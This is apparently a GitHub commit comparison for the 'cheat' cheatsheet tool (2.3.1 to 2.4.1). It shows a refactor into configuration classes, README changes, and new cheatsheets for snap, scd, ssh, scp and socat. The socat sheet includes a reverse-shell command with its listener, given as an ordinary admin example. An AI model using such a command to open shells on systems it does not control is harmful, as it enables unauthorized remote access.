Compare commits

...

50 Commits
2.3.1 ... 2.4.1

Author SHA1 Message Date
9ea60d12ff Version-bump to 2.4.1
- Includes various bugfixes regarding UTF-8 encoding
- Adds new cheatsheets
2019-01-29 10:58:57 -05:00
f7d747e101 Merge pull request #417 from butzel-net/master
suggestion for socat
2019-01-29 10:22:44 -05:00
3b207b4d51 Merge branch 'dev' 2019-01-29 10:19:48 -05:00
5e1d3abce8 Merge pull request #416 from chrisallenlane/issue-414-build-opts
Issue #414 - snap package compatibility
2019-01-29 10:18:55 -05:00
ad25e16dc6 Merge pull request #415 from chrisallenlane/issue-372
Addressing issue #372
2019-01-29 10:15:55 -05:00
92c07c0137 Merge pull request #419 from chrisallenlane/issue-414-build-opts
Issue #414 - snap package compatibility
2019-01-27 14:50:37 -05:00
7e35263e90 Merge pull request #418 from chrisallenlane/issue-372
Addressing issue #372
2019-01-27 14:45:41 -05:00
1b6b5b79b7 Version bump: 2.4.0
Preparing a new `minor` release.
2019-01-27 14:36:57 -05:00
b377984b59 suggestion for socat
butzel's suggestions for a socat cheatsheet
2019-01-25 12:46:01 +01:00
e319332138 Issue #414 - snap package compatibility
PR #391 changed the locaton into which system-wide cheatsheets are
installed to `/usr/share/cheat`, in order to comply with FHS. However,
this is causing conflicts with the `snap` packaging process.

This commit removes hard-coded references to `/usr/share/cheat` (outside
of `config/cheat`), and instead reads the cheat path via the
`CHEAT_PATH` config value (which may be set either in `cheat/config`, or
exported as an environment variable).

Lastly, this commit makes `setup.py` "aware of" the `CHEAT_PATH` env
var, allowing us to specify to where sytem-wide cheatsheets should be
installed during the `snap` build.
2019-01-21 12:58:03 -05:00
13c0ea7525 Addressing issue #372
Previous pull-requests #406 and #413 attempted to resolve #372. They
were, however, never merged in.

Given that #391 was just merged (which rewrites a significant amount of
prior code), I here took what we learned from #406 and #413 and
re-implemented it. This approach will be less error-prone than
attempting to rebase either of the former on the changes introduced in
 #391.
2019-01-18 14:50:00 -05:00
87448c49fa Merge branch 'TomasKorbar-changes' 2019-01-18 14:28:06 -05:00
80b8cfc06b Add new env variables but hold compatibility with old ones
Legacy environmental variables like CHEATCOLORS are now higher in
configuration hiearchy than new environmental variables in
configuration files
2019-01-18 18:03:15 +01:00
8a8f30679d Fix problems with CHEATCOLORS behaviour 2019-01-17 17:10:01 +01:00
4d19505b79 Conform code to pep8 2019-01-15 19:38:24 +01:00
a2e028fd19 Move validation of CHEAT_HIGHLIGHT value to Configuration class
Method _check_configuration should be used for validating all bad
values from now on
2019-01-15 19:21:33 +01:00
5eec6bf040 Improve handling of settings
Constructors of classes which need direct access to configuration
now take Config class instance as parameter which will give them
better maintainability in the future

CHEAT_HIGHLIGHT has been added to Configuration class
2019-01-15 19:13:30 +01:00
3a4c2a887d Add ConfigurationTestCase
- tests prove descending hiearchy of config system
- env vars, local config file, global config file
2019-01-15 17:09:39 +01:00
879a58b721 Read env vars for global and local config path
- allows to change these paths for testing purposes and also
gives user option to change his config paths
2019-01-15 17:09:39 +01:00
7814de96d2 Add classes for better readability 2019-01-15 17:09:39 +01:00
a651426075 Add reading settings from configuration file 2019-01-15 17:09:35 +01:00
c4c935a6a5 Change default location of cheatsheets 2019-01-15 16:48:07 +01:00
df86142b8e Merge pull request #411 from chrisallenlane/snap-cheatsheet
Created a `snap` cheatsheet
2019-01-11 17:19:08 -05:00
60b05c8781 Created a snap cheatsheet 2019-01-11 17:18:02 -05:00
22b64d2d08 Merge branch 'master' of https://github.com/liuyang1/cheat into liuyang1-master
Resolving merge-conflicts.
2019-01-11 17:00:39 -05:00
1224908445 README edits
Updated the README to mention the new `CHEAT_HIGHLIGHT` environment
variable.
2019-01-11 16:36:17 -05:00
28a2902e20 Implemented validation on CHEAT_HIGHLIGHT
Implemnted an assertion that `CHEAT_HIGHLIGHT` (if set) contains a value
that is acceptible to `termcolors`. This happens only once, upon the
invokation of `__main__`. If the assertion fails, `cheat` terminates
with an exit code of `1`.
2019-01-11 16:26:57 -05:00
730c488854 Introduced CHEAT_HIGHLIGHT
Introduced CHEAT_HIGHLIGHT environment variable to de-couple search-term
highlighting from syntax highlighting.
2019-01-11 16:13:38 -05:00
ba9051e3cd highlight bug-fix
Fixed a bug in `cheat/utils.py` that would cause `highlight` to return
the wrong value when `CHEATCOLORS` was not set.
2019-01-11 15:58:21 -05:00
7c7278ac8b Util logic simplification
- Simplified the logic regarding checking the state of `CHEATCOLORS` in
  `cheat/utils.py`

- Improved the commenting within the same
2019-01-11 15:54:20 -05:00
e1fdca231e Merged #353 with changes
PR #353 implemented highlighting on search terms within search results.
This PR:

- Merges the above
- Makes a few modifications upon the implementation

Specifically, the new implementation no longer relies on hard-coded
escape-sequences. Instead, a new `highlight` function has been created,
which in turn attempts to defer to the `termcolors` library to colorize
the necessary text.
2019-01-11 15:46:54 -05:00
6b796adaf7 README edit
Edited the addition regarding Pygments.
2019-01-11 15:13:41 -05:00
95843e4674 Updating dependencies to highlighting 2019-01-11 15:10:39 -05:00
2b58300d84 Merge pull request #404 from gorshkov/master
Fix url in curl cheatsheet
2019-01-11 14:20:18 -05:00
bf1be86fb9 Merge pull request #402 from FlorianKempenich/master
Add cheatsheet for `scd`
2019-01-11 14:19:22 -05:00
35c4a8d639 Merge pull request #403 from sundar-raman/master
Disable colorized output when CHEATCOLORS is not "true", or not set
2019-01-11 14:13:21 -05:00
6910adae90 Merge branch 'master' of github.com:chrisallenlane/cheat 2019-01-11 14:05:55 -05:00
b47b4bc1d1 Modified .gitignore
Added `.env` to the list of ignored files.
2019-01-11 14:05:38 -05:00
ea7e71b002 Merge pull request #407 from idarlund/patch-2
Update ssh
2019-01-11 14:04:11 -05:00
d576eef13b Merge pull request #408 from idarlund/patch-3
Update scp
2019-01-11 14:03:31 -05:00
bec516b30a Merge pull request #409 from hutchison/master
Fixed a typo.
2019-01-11 14:02:39 -05:00
f0b3f8037b Fixed a typo. 2019-01-09 15:47:49 +01:00
3938032595 Update scp
scp over socks
2019-01-08 08:24:16 +01:00
f35cfa084e Update ssh
added ssh over socks tunnel
2019-01-08 08:19:09 +01:00
cdb22f310d Fix url in curl cheatsheet 2018-12-19 21:11:54 +07:00
6d1eff16a1 Disable colorized output when CHEATCOLORS is not "true", or not set 2018-11-11 13:04:51 +08:00
9241de04d6 Update formatting to adhere to the guideline. 2018-10-25 11:37:39 +01:00
8ac1851a69 Add cheatsheet for scd
`scd` is a fantastic `oh-my-zsh` plugin to quickly jump between directories.
See here: https://github.com/robbyrussell/oh-my-zsh/tree/master/plugins/scd
2018-10-25 11:34:25 +01:00
c0fe871b33 fix except case
- when redirect stdout to pipe but not tty, it throw exception.
- when have no content, it throw exception.
- remove reductant newline at end of file
2018-06-13 18:58:37 +08:00
761bf2eb2f hightlight the search keywords 2017-10-12 09:25:20 +08:00
19 changed files with 666 additions and 199 deletions

1
.gitignore vendored
View File

@ -1,4 +1,5 @@
*.pyc *.pyc
.env
MANIFEST MANIFEST
build build
cheat.egg-info cheat.egg-info

View File

@ -109,13 +109,16 @@ export CHEATPATH="$CHEATPATH:/path/to/more/cheats"
You may view which directories are on your `CHEATPATH` with `cheat -d`. You may view which directories are on your `CHEATPATH` with `cheat -d`.
### Enabling Syntax Highlighting ### ### Enabling Syntax Highlighting ###
`cheat` can optionally apply syntax highlighting to your cheatsheets. To enable `cheat` can optionally apply syntax highlighting to your cheatsheets. To
syntax highlighting, export a `CHEATCOLORS` environment variable: enable syntax highlighting, export a `CHEATCOLORS` environment variable:
```sh ```sh
export CHEATCOLORS=true export CHEATCOLORS=true
``` ```
Note that [pygments][] must be installed on your system for this to work.
#### Specifying a Syntax Highlighter #### #### Specifying a Syntax Highlighter ####
You may manually specify which syntax highlighter to use for each cheatsheet by You may manually specify which syntax highlighter to use for each cheatsheet by
wrapping the sheet's contents in a [Github-Flavored Markdown code-fence][gfm]. wrapping the sheet's contents in a [Github-Flavored Markdown code-fence][gfm].
@ -134,6 +137,23 @@ WHERE id = 100
If no syntax highlighter is specified, the `bash` highlighter will be used by If no syntax highlighter is specified, the `bash` highlighter will be used by
default. default.
### Enabling Search Match Highlighting ###
`cheat` can optionally be configured to highlight search term matches in search
results. To do so, export a `CHEAT_HIGHLIGHT` environment variable with a value
of one of the following:
- blue
- cyan
- green
- grey
- magenta
- red
- white
- yellow
Note that the `termcolor` module must be installed on your system for this to
work.
See Also: See Also:
--------- ---------
@ -145,4 +165,5 @@ See Also:
[dotfiles]: http://dotfiles.github.io/ [dotfiles]: http://dotfiles.github.io/
[gfm]: https://help.github.com/articles/creating-and-highlighting-code-blocks/ [gfm]: https://help.github.com/articles/creating-and-highlighting-code-blocks/
[installing]: https://github.com/chrisallenlane/cheat/wiki/Installing [installing]: https://github.com/chrisallenlane/cheat/wiki/Installing
[pygments]: http://pygments.org/
[related-projects]: https://github.com/chrisallenlane/cheat/wiki/Related-Projects [related-projects]: https://github.com/chrisallenlane/cheat/wiki/Related-Projects

View File

@ -35,14 +35,24 @@ Examples:
""" """
# require the dependencies # require the dependencies
from cheat import sheets, sheet from __future__ import print_function
from cheat.utils import colorize from cheat.sheets import Sheets
from cheat.sheet import Sheet
from cheat.utils import Utils
from cheat.configuration import Configuration
from docopt import docopt from docopt import docopt
import os
if __name__ == '__main__': if __name__ == '__main__':
# parse the command-line options # parse the command-line options
options = docopt(__doc__, version='cheat 2.3.1') options = docopt(__doc__, version='cheat 2.4.1')
config = Configuration()
sheets = Sheets(config)
utils = Utils(config)
sheet = Sheet(sheets, utils)
# list directories # list directories
if options['--directories']: if options['--directories']:
@ -50,7 +60,7 @@ if __name__ == '__main__':
# list cheatsheets # list cheatsheets
elif options['--list']: elif options['--list']:
print(sheets.list()) print(sheets.list(), end="")
# create/edit cheatsheet # create/edit cheatsheet
elif options['--edit']: elif options['--edit']:
@ -58,8 +68,8 @@ if __name__ == '__main__':
# search among the cheatsheets # search among the cheatsheets
elif options['--search']: elif options['--search']:
print(colorize(sheets.search(options['<keyword>']))) print(utils.colorize(sheets.search(options['<keyword>'])), end="")
# print the cheatsheet # print the cheatsheet
else: else:
print(colorize(sheet.read(options['<cheatsheet>']))) print(utils.colorize(sheet.read(options['<cheatsheet>'])), end="")

View File

@ -1,3 +1,4 @@
from . import sheet from . import sheet
from . import sheets from . import sheets
from . import utils from . import utils
from . import configuration

View File

@ -1,4 +0,0 @@
import os
def sheets_dir():
return os.path.split(__file__)

View File

@ -15,5 +15,5 @@ convert original-image.jpg -resize 100x converted-image.png
for file in `ls original/image/path/`; for file in `ls original/image/path/`;
do new_path=${file%.*}; do new_path=${file%.*};
new_file=`basename $new_path`; new_file=`basename $new_path`;
convert $file -resize 150 conerted/image/path/$new_file.png; convert $file -resize 150 converted/image/path/$new_file.png;
done done

View File

@ -29,7 +29,7 @@ curl -C - -o partial_file.zip http://example.com/file.zip
curl -I http://example.com curl -I http://example.com
# Fetch your external IP and network info as JSON # Fetch your external IP and network info as JSON
curl http://ifconfig.me/all/json curl http://ifconfig.me/all.json
# Limit the rate of a download # Limit the rate of a download
curl --limit-rate 1000B -O http://path.to.the/file curl --limit-rate 1000B -O http://path.to.the/file

20
cheat/cheatsheets/scd Normal file
View File

@ -0,0 +1,20 @@
# To index recursively some paths for the very first run:
scd -ar ~/Documents/
# To change to a directory path matching "doc":
scd doc
# To change to a path matching all of "a", "b" and "c":
scd a b c
# To change to a directory path that ends with "ts":
scd "ts$"
# To show selection menu and ranking of 20 most likely directories:
scd -v
# To alias current directory as "xray":
scd --alias=xray
# To jump to a previously defined aliased directory:
scd xray

View File

@ -3,3 +3,6 @@ scp foo.txt user@example.com:remote/dir
# To copy a file from a remote server to your local machine: # To copy a file from a remote server to your local machine:
scp user@example.com:remote/dir/foo.txt local/dir scp user@example.com:remote/dir/foo.txt local/dir
# To scp a file over a SOCKS proxy on localhost and port 9999 (see ssh for tunnel setup):
scp -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" file.txt username@example2.com:/tmp/

98
cheat/cheatsheets/snap Normal file
View File

@ -0,0 +1,98 @@
# To find the `foo` snap:
snap find foo
# To view detailed information about snap `foo`:
snap info foo
# To view all private snaps (must be logged in):
snap find --private
# To install the `foo` snap:
sudo snap install foo
# To install the `foo` snap from the "beta" channel:
sudo snap install foo --channel=beta
# To view installed snaps:
snap list
# To list all revisions of installed snaps:
snap list --all
# To (manually) update all snaps:
sudo snap refresh
# To (manually) update the `foo` snap:
sudo snap refresh foo
# To update the `foo` snap to the "beta" channel:
sudo snap refresh foo --channel=beta
# To revert the `foo` snap to a prior version:
sudo snap revert foo
# To revert the `foo` snap to revision 5:
snap revert foo --revision 5
# To remove the `foo` snap:
sudo snap remove foo
# To log in to snap (must first create account online):
sudo snap login
# To log out of snap:
snap logout
# To view a transaction log summary:
snap changes
# To view details of item 123 in the transaction log:
snap change 123
# To watch transaction 123:
snap watch 123
# To abort transaction 123:
snap abort 123
# To download the `foo` snap (and its assertions) *without* installing it:
snap download foo
# To install the locally-downloaded `foo` snap with assertions:
snap ack foo.assert
snap install foo.snap
# To install the locally-downloaded `foo` snap without assertions:
# NB: this is dangerous, because the integrity of the snap will not be
# verified. You should only do this to test a snap that you are currently
# developing.
snap install --dangerous foo.snap
# To install snap `foo` in "dev mode":
# NB: this is dangerous, and bypasses the snap sandboxing mechanisms
snap install --devmode foo
# To install snap `foo` in "classic mode":
# NB: this is likewise dangerous
snap install --classic foo
# To view available snap interfaces:
snap interfaces
# To connect the `foo:camera` plug to the ubuntu core slot:
snap connect foo:camera :camera
# To disconnect the `foo:camera` plug from the ubuntu core slot:
snap disconnect foo:camera
# To disable the `foo` snap
snap disable foo
# To enable the `foo` snap
snap enable foo
# To set snap `foo`'s `bar` property to 10:
snap set foo bar=10
# To read snap `foo`'s current `bar` property:
snap get foo bar

37
cheat/cheatsheets/socat Normal file
View File

@ -0,0 +1,37 @@
# socat connect to http-server (port 80 on 'butzel.info')
socat TCP4:butzel.info:80 -
# connect to https-server (port 443 on 'butzel.info' with tls)
socat openssl:butzel.info:443 -
# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions
socat -x tcp-listen:3180,fork -
# practical examples:
# complete real working http-example:
# (sleep is necessary to prevent socat closing socket before data received)
(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \
| socat tcp4:butzel.info:80 -
# http to httpS 'Proxy' (for an webserver without TLS-Support)
socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80
# port forwarding (e.g. own port 3180 to port 22(ssh) on target
socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh
# TOR-forwarding (needs tor-daemon on port 9050 running)
socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050
# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200
# udp to tcp
socat -u udp-recvfrom:1234,fork tcp:localhost:4321
# reverse shell:
socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180
# listener for above reverse shell (on remote.butzel.info):
socat file:`tty`,raw,echo=0 tcp-listen:3180
# or: nc -lp 3180

View File

@ -23,6 +23,9 @@ ssh -X -t user@example.com 'chromium-browser'
# To create a SOCKS proxy on localhost and port 9999 # To create a SOCKS proxy on localhost and port 9999
ssh -D 9999 user@example.com ssh -D 9999 user@example.com
# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999
ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" username@example2.com
# -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish # -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish
ssh user@example.com -C -c blowfish -X ssh user@example.com -C -c blowfish -X

134
cheat/configuration.py Normal file
View File

@ -0,0 +1,134 @@
import os
from cheat.utils import Utils
import json
class Configuration:
def __init__(self):
self._get_global_conf_file_path()
self._get_local_conf_file_path()
self._saved_configuration = self._get_configuration()
def _get_configuration(self):
# get options from config files and environment vairables
merged_config = {}
try:
merged_config.update(
self._read_configuration_file(self.glob_config_path)
)
except Exception as e:
Utils.warn('error while parsing global configuration Reason: '
+ e.message
)
try:
merged_config.update(
self._read_configuration_file(self.local_config_path)
)
except Exception as e:
Utils.warn('error while parsing user configuration Reason: '
+ e.message
)
merged_config.update(self._read_env_vars_config())
self._check_configuration(merged_config)
return merged_config
def _read_configuration_file(self, path):
# Reads configuration file and returns list of set variables
read_config = {}
if (os.path.isfile(path)):
with open(path) as config_file:
read_config.update(json.load(config_file))
return read_config
def _read_env_vars_config(self):
read_config = {}
# NOTE: These variables are left here because of backwards
# compatibility and are supported only as env vars but not in
# configuration file
if (os.environ.get('VISUAL')):
read_config['EDITOR'] = os.environ.get('VISUAL')
# variables supported both in environment and configuration file
# NOTE: Variables without CHEAT_ prefix are legacy
# key is variable name and value is its legacy_alias
# if variable has no legacy alias then set to None
variables = {'CHEAT_DEFAULT_DIR': 'DEFAULT_CHEAT_DIR',
'CHEAT_PATH': 'CHEATPATH',
'CHEAT_COLORS': 'CHEATCOLORS',
'CHEAT_EDITOR': 'EDITOR',
'CHEAT_HIGHLIGHT': None
}
for (k, v) in variables.items():
self._read_env_var(read_config, k, v)
return read_config
def _check_configuration(self, config):
""" Check values in config and warn user or die """
# validate CHEAT_HIGHLIGHT values if set
colors = [
'grey', 'red', 'green', 'yellow',
'blue', 'magenta', 'cyan', 'white'
]
if (
config.get('CHEAT_HIGHLIGHT') and
config.get('CHEAT_HIGHLIGHT') not in colors
):
Utils.die("%s %s" % ('CHEAT_HIGHLIGHT must be one of:', colors))
def _read_env_var(self, current_config, key, alias=None):
if os.environ.get(key) is not None:
current_config[key] = os.environ.get(key)
return
elif alias is not None and os.environ.get(alias) is not None:
current_config[key] = os.environ.get(alias)
return
def _get_global_conf_file_path(self):
self.glob_config_path = (os.environ.get('CHEAT_GLOBAL_CONF_PATH')
or '/etc/cheat')
def _get_local_conf_file_path(self):
path = (os.environ.get('CHEAT_LOCAL_CONF_PATH')
or os.path.expanduser('~/.config/cheat/cheat'))
self.local_config_path = path
def _choose_value(self, primary_value_name, secondary_value_name):
""" Return primary or secondary value in saved_configuration
If primary value is in configuration then return it. If it is not
then return secondary. In the absence of both values return None
"""
primary_value = self._saved_configuration.get(primary_value_name)
secondary_value = self._saved_configuration.get(secondary_value_name)
if primary_value is not None:
return primary_value
else:
return secondary_value
def get_default_cheat_dir(self):
return self._choose_value('CHEAT_DEFAULT_DIR', 'DEFAULT_CHEAT_DIR')
def get_cheatpath(self):
return self._choose_value('CHEAT_PATH', 'CHEATPATH')
def get_cheatcolors(self):
return self._choose_value('CHEAT_COLORS', 'CHEATCOLORS')
def get_editor(self):
return self._choose_value('CHEAT_EDITOR', 'EDITOR')
def get_highlight(self):
return self._saved_configuration.get('CHEAT_HIGHLIGHT')

View File

@ -1,76 +1,79 @@
import io
import os import os
import shutil import shutil
from cheat import sheets from cheat.utils import Utils
from cheat.utils import die, open_with_editor
def copy(current_sheet_path, new_sheet_path):
""" Copies a sheet to a new path """
# attempt to copy the sheet to DEFAULT_CHEAT_DIR
try:
shutil.copy(current_sheet_path, new_sheet_path)
# fail gracefully if the cheatsheet cannot be copied. This can happen if
# DEFAULT_CHEAT_DIR does not exist
except IOError:
die('Could not copy cheatsheet for editing.')
def create_or_edit(sheet): class Sheet:
""" Creates or edits a cheatsheet """
# if the cheatsheet does not exist def __init__(self, sheets, utils):
if not exists(sheet): self._sheets = sheets
create(sheet) self._utils = utils
# if the cheatsheet exists but not in the default_path, copy it to the def copy(self, current_sheet_path, new_sheet_path):
# default path before editing """ Copies a sheet to a new path """
elif exists(sheet) and not exists_in_default_path(sheet):
copy(path(sheet), os.path.join(sheets.default_path(), sheet))
edit(sheet)
# if it exists and is in the default path, then just open it # attempt to copy the sheet to DEFAULT_CHEAT_DIR
else: try:
edit(sheet) shutil.copy(current_sheet_path, new_sheet_path)
# fail gracefully if the cheatsheet cannot be copied. This can happen
# if DEFAULT_CHEAT_DIR does not exist
except IOError:
Utils.die('Could not copy cheatsheet for editing.')
def create(sheet): def create_or_edit(self, sheet):
""" Creates a cheatsheet """ """ Creates or edits a cheatsheet """
new_sheet_path = os.path.join(sheets.default_path(), sheet)
open_with_editor(new_sheet_path)
# if the cheatsheet does not exist
if not self.exists(sheet):
self.create(sheet)
def edit(sheet): # if the cheatsheet exists but not in the default_path, copy it to the
""" Opens a cheatsheet for editing """ # default path before editing
open_with_editor(path(sheet)) elif self.exists(sheet) and not self.exists_in_default_path(sheet):
self.copy(self.path(sheet),
os.path.join(self._sheets.default_path(), sheet))
self.edit(sheet)
# if it exists and is in the default path, then just open it
else:
self.edit(sheet)
def exists(sheet): def create(self, sheet):
""" Predicate that returns true if the sheet exists """ """ Creates a cheatsheet """
return sheet in sheets.get() and os.access(path(sheet), os.R_OK) new_sheet_path = os.path.join(self._sheets.default_path(), sheet)
self._utils.open_with_editor(new_sheet_path)
def edit(self, sheet):
""" Opens a cheatsheet for editing """
self._utils.open_with_editor(self.path(sheet))
def exists_in_default_path(sheet): def exists(self, sheet):
""" Predicate that returns true if the sheet exists in default_path""" """ Predicate that returns true if the sheet exists """
default_path_sheet = os.path.join(sheets.default_path(), sheet) return (sheet in self._sheets.get() and
return sheet in sheets.get() and os.access(default_path_sheet, os.R_OK) os.access(self.path(sheet), os.R_OK))
def exists_in_default_path(self, sheet):
""" Predicate that returns true if the sheet exists in default_path"""
default_path_sheet = os.path.join(self._sheets.default_path(), sheet)
return (sheet in self._sheets.get() and
os.access(default_path_sheet, os.R_OK))
def is_writable(sheet): def is_writable(self, sheet):
""" Predicate that returns true if the sheet is writeable """ """ Predicate that returns true if the sheet is writeable """
return sheet in sheets.get() and os.access(path(sheet), os.W_OK) return (sheet in self._sheets.get() and
os.access(self.path(sheet), os.W_OK))
def path(self, sheet):
""" Returns a sheet's filesystem path """
return self._sheets.get()[sheet]
def path(sheet): def read(self, sheet):
""" Returns a sheet's filesystem path """ """ Returns the contents of the cheatsheet as a String """
return sheets.get()[sheet] if not self.exists(sheet):
Utils.die('No cheatsheet found for ' + sheet)
with io.open(self.path(sheet), encoding='utf-8') as cheatfile:
def read(sheet): return cheatfile.read()
""" Returns the contents of the cheatsheet as a String """
if not exists(sheet):
die('No cheatsheet found for ' + sheet)
with open(path(sheet)) as cheatfile:
return cheatfile.read()

View File

@ -1,93 +1,102 @@
import io
import os import os
from cheat import cheatsheets from cheat.utils import Utils
from cheat.utils import die
def default_path():
""" Returns the default cheatsheet path """
# determine the default cheatsheet dir
default_sheets_dir = os.environ.get('DEFAULT_CHEAT_DIR') or os.path.join('~', '.cheat')
default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir))
# create the DEFAULT_CHEAT_DIR if it does not exist
if not os.path.isdir(default_sheets_dir):
try:
# @kludge: unclear on why this is necessary
os.umask(0000)
os.mkdir(default_sheets_dir)
except OSError:
die('Could not create DEFAULT_CHEAT_DIR')
# assert that the DEFAULT_CHEAT_DIR is readable and writable
if not os.access(default_sheets_dir, os.R_OK):
die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not readable.')
if not os.access(default_sheets_dir, os.W_OK):
die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not writable.')
# return the default dir
return default_sheets_dir
def get(): class Sheets:
""" Assembles a dictionary of cheatsheets as name => file-path """
cheats = {}
# otherwise, scan the filesystem def __init__(self, config):
for cheat_dir in reversed(paths()): self._default_cheat_dir = config.get_default_cheat_dir()
cheats.update( self._cheatpath = config.get_cheatpath()
dict([ self._utils = Utils(config)
(cheat, os.path.join(cheat_dir, cheat))
for cheat in os.listdir(cheat_dir)
if not cheat.startswith('.')
and not cheat.startswith('__')
])
)
return cheats def default_path(self):
""" Returns the default cheatsheet path """
# determine the default cheatsheet dir
default_sheets_dir = (self._default_cheat_dir or
os.path.join('~', '.cheat'))
default_sheets_dir = os.path.expanduser(
os.path.expandvars(default_sheets_dir))
def paths(): # create the DEFAULT_CHEAT_DIR if it does not exist
""" Assembles a list of directories containing cheatsheets """ if not os.path.isdir(default_sheets_dir):
sheet_paths = [ try:
default_path(), # @kludge: unclear on why this is necessary
cheatsheets.sheets_dir()[0], os.umask(0000)
] os.mkdir(default_sheets_dir)
# merge the CHEATPATH paths into the sheet_paths except OSError:
if 'CHEATPATH' in os.environ and os.environ['CHEATPATH']: Utils.die('Could not create DEFAULT_CHEAT_DIR')
for path in os.environ['CHEATPATH'].split(os.pathsep):
if os.path.isdir(path):
sheet_paths.append(path)
if not sheet_paths: # assert that the DEFAULT_CHEAT_DIR is readable and writable
die('The DEFAULT_CHEAT_DIR dir does not exist or the CHEATPATH is not set.') if not os.access(default_sheets_dir, os.R_OK):
Utils.die('The DEFAULT_CHEAT_DIR ('
+ default_sheets_dir
+ ') is not readable.')
if not os.access(default_sheets_dir, os.W_OK):
Utils.die('The DEFAULT_CHEAT_DIR ('
+ default_sheets_dir
+ ') is not writable.')
return sheet_paths # return the default dir
return default_sheets_dir
def get(self):
""" Assembles a dictionary of cheatsheets as name => file-path """
cheats = {}
def list(): # otherwise, scan the filesystem
""" Lists the available cheatsheets """ for cheat_dir in reversed(self.paths()):
sheet_list = '' cheats.update(
pad_length = max([len(x) for x in get().keys()]) + 4 dict([
for sheet in sorted(get().items()): (cheat, os.path.join(cheat_dir, cheat))
sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n" for cheat in os.listdir(cheat_dir)
return sheet_list if not cheat.startswith('.')
and not cheat.startswith('__')
])
)
return cheats
def search(term): def paths(self):
""" Searches all cheatsheets for the specified term """ """ Assembles a list of directories containing cheatsheets """
result = '' sheet_paths = [
lowered_term = term.lower() self.default_path(),
]
for cheatsheet in sorted(get().items()): # merge the CHEATPATH paths into the sheet_paths
match = '' if self._cheatpath:
for line in open(cheatsheet[1]): for path in self._cheatpath.split(os.pathsep):
if lowered_term in line.lower(): if os.path.isdir(path):
match += ' ' + line sheet_paths.append(path)
if match != '': if not sheet_paths:
result += cheatsheet[0] + ":\n" + match + "\n" Utils.die('The DEFAULT_CHEAT_DIR dir does not exist '
+ 'or the CHEATPATH is not set.')
return result return sheet_paths
def list(self):
""" Lists the available cheatsheets """
sheet_list = ''
pad_length = max([len(x) for x in self.get().keys()]) + 4
for sheet in sorted(self.get().items()):
sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n"
return sheet_list
def search(self, term):
""" Searches all cheatsheets for the specified term """
result = ''
for cheatsheet in sorted(self.get().items()):
match = ''
for line in io.open(cheatsheet[1], encoding='utf-8'):
if term in line:
match += ' ' + self._utils.highlight(term, line)
if match != '':
result += cheatsheet[0] + ":\n" + match + "\n"
return result

View File

@ -1,71 +1,100 @@
from __future__ import print_function from __future__ import print_function
import os import os
import sys
import subprocess import subprocess
import sys
def colorize(sheet_content): class Utils:
""" Colorizes cheatsheet content if so configured """
# only colorize if so configured def __init__(self, config):
if not 'CHEATCOLORS' in os.environ: self._displaycolors = config.get_cheatcolors()
return sheet_content self._editor_executable = config.get_editor()
self._highlight_color = config.get_highlight()
try: def highlight(self, needle, haystack):
from pygments import highlight """ Highlights a search term matched within a line """
from pygments.lexers import get_lexer_by_name
from pygments.formatters import TerminalFormatter
# if pygments can't load, just return the uncolorized text # if a highlight color is not configured, exit early
except ImportError: if not self._highlight_color:
return sheet_content return haystack
first_line = sheet_content.splitlines()[0] # otherwise, attempt to import the termcolor library
lexer = get_lexer_by_name('bash')
if first_line.startswith('```'):
sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
try: try:
lexer = get_lexer_by_name(first_line[3:]) from termcolor import colored
except Exception:
pass
return highlight(sheet_content, lexer, TerminalFormatter()) # if the import fails, return uncolored text
except ImportError:
return haystack
# if the import succeeds, colorize the needle in haystack
return haystack.replace(needle, colored(needle, self._highlight_color))
def die(message): def colorize(self, sheet_content):
""" Prints a message to stderr and then terminates """ """ Colorizes cheatsheet content if so configured """
warn(message)
exit(1)
# cover all possible positive values to be safe
positive_values = ["True", "true", "1", 1, True]
def editor(): # only colorize if configured to do so, and if stdout is a tty
""" Determines the user's preferred editor """ if (self._displaycolors not in positive_values or
not sys.stdout.isatty()):
return sheet_content
# determine which editor to use # don't attempt to colorize an empty cheatsheet
editor = os.environ.get('CHEAT_EDITOR') \ if not sheet_content.strip():
or os.environ.get('VISUAL') \ return ""
or os.environ.get('EDITOR') \
or False
# assert that the editor is set # otherwise, attempt to import the pygments library
if editor == False: try:
die( from pygments import highlight
'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' from pygments.lexers import get_lexer_by_name
'variable in order to create/edit a cheatsheet.' from pygments.formatters import TerminalFormatter
)
return editor # if the import fails, return uncolored text
except ImportError:
return sheet_content
# otherwise, attempt to colorize
first_line = sheet_content.splitlines()[0]
lexer = get_lexer_by_name('bash')
def open_with_editor(filepath): # apply syntax-highlighting if the first line is a code-fence
""" Open `filepath` using the EDITOR specified by the environment variables """ if first_line.startswith('```'):
editor_cmd = editor().split() sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
try: try:
subprocess.call(editor_cmd + [filepath]) lexer = get_lexer_by_name(first_line[3:])
except OSError: except Exception:
die('Could not launch ' + editor()) pass
return highlight(sheet_content, lexer, TerminalFormatter())
def warn(message): @staticmethod
""" Prints a message to stderr """ def die(message):
print((message), file=sys.stderr) """ Prints a message to stderr and then terminates """
Utils.warn(message)
exit(1)
def editor(self):
""" Determines the user's preferred editor """
# assert that the editor is set
if (not self._editor_executable):
Utils.die(
'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment '
